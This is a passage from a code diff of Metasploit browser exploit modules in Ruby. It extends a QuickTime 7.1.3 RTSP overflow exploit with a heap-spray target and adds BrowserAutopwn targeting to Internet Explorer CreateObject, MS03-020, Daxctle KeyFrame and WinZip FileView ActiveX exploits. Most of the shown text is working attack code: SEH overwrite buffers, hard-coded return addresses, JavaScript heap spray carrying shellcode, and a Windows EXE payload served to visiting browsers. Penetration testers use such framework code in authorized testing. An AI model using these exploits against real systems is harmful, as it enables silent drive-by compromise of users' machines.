'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Apple QuickTime Player 7.1.3', { 'Ret' => 0x6855d8a2 } ], # xpsp2/2k3 :( | vista ;)
[ 'Automatic', { } ],
[ 'Apple QuickTime Player 7.1.3',
{
'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)
}
],
[ 'Browser Universal',
{
'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jan 1 2007',
@ -57,21 +77,83 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = regenerate_payload(client)) == nil)
cruft = rand_text_english(4)
if (target.name =~ /Automatic/)
if (request['User-Agent'] =~ /QuickTime/i)
target = targets[1]
else
target = targets[2]
end
end
sploit = rand_text_english(307) + payload.encoded + "\xeb\x06" + rand_text_english(2)
cruft = rand_text_alphanumeric(4)
# This is all basically filler on the browser target because we can't
# expect the SEH to be in a reliable place across multiple browsers.
# Heap spray ftw.
sploit = rand_text_english(307)
sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')
content = "<?xml version=\"1.0\"?>" + "<?quicktime type=\"application/x-quicktime-media-link\"?>"
content << "<embed autoplay=\"true\" moviename=\"#{cruft}\" " + "qtnext=\"#{cruft}\" type=\"video/quicktime\" "
content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /.qtl$/)
print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
print_status("Trying target #{target.name}...")
content = build_qtl(sploit)
else
print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")
print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT']
url << get_resource
js = <<-ENDJS
#{js_heap_spray}
sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
ENDJS
content = "<html><body><script><!--\n#{js}//--></script>"
content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">
<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">
<PARAM name="AUTOPLAY" VALUE = "true" >
<PARAM name="TYPE" VALUE = "video/quicktime" >
<PARAM name="TARGET" VALUE = "myself" >
<EMBED
SRC = "#{url}/#{cruft}.qtl"
QTSRC = "#{url}/#{cruft}.qtl"
TARGET = "myself"
WIDTH = "1"
HEIGHT = "1"
AUTOPLAY = "true"
PLUGIN = "quicktimeplugin"
TYPE = "video/quicktime"
CACHE = "false"
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
ENDEMBED
content << "</body></html>"
end
send_response(client, content, { 'Content-Type' => 'text/html' })
send_response(client, content, { 'Content-Type' => "text/html" })
# Handle the payload
handler(client)
end
def build_qtl(overflow)
cruft = rand_text_english(4)
content = "<?xml version=\"1.0\"?>\n"
content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
content << "<embed autoplay=\"true\" \n"
content << "moviename=\"#{cruft}\" \n"
content << "qtnext=\"#{cruft}\" \n"
content << "type=\"video/quicktime\" \n"
content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"
end
end

View File

@ -18,6 +18,31 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Seh
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'CreateObject',
:classid =>
[
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{BD96C556-65A3-11D0-983A-00C04FC29E30}',
'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}',
'{6414512B-B978-451D-A0D8-FCFDF33E833C}',
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}',
'{639F725F-1B2D-4831-A9FD-874847682010}',
'{BA018599-1DB3-44f9-83B4-461454C84BF8}',
'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',
'{E8CCCDDF-CA28-496b-B050-6C07C962476B}',
'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',
'{0006F033-0000-0000-C000-000000000046}',
'{0006F03A-0000-0000-C000-000000000046}',
],
:rank => ExcellentRanking # reliable exe writer
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer COM CreateObject Code Execution',
@ -86,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe(framework,p.encoded, '')
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
@ -221,7 +246,7 @@ function #{var_func_exploit}( ) {
content = Rex::Text.randomize_space(content)
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)

View File

@ -9,16 +9,20 @@
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
@ -97,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
if(not (token and @state[token]))
print_status("Sending init HTML to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
token = rand_text_numeric(32)
html = %Q|<html>
<head>
@ -123,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
if (uri.match(/\.dll$/i))
if (uri.match(/\.dll/i))
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
@ -222,6 +226,7 @@ class Metasploit3 < Msf::Exploit::Remote
# HEAP SPRAY MODE
#
else
print_status("Heap spray mode")
addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }

View File

@ -18,6 +18,17 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => false,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
:prefix_html => "<!--[if lt IE 7]>",
:postfix_html => "<![endif]-->",
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-020 Internet Explorer Object Type',

View File

@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'KeyFrame',
:classid => 'DirectAnimation.PathControl',
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',

View File

@ -12,6 +12,16 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'CreateNewFolderFromName',
:classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}',
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',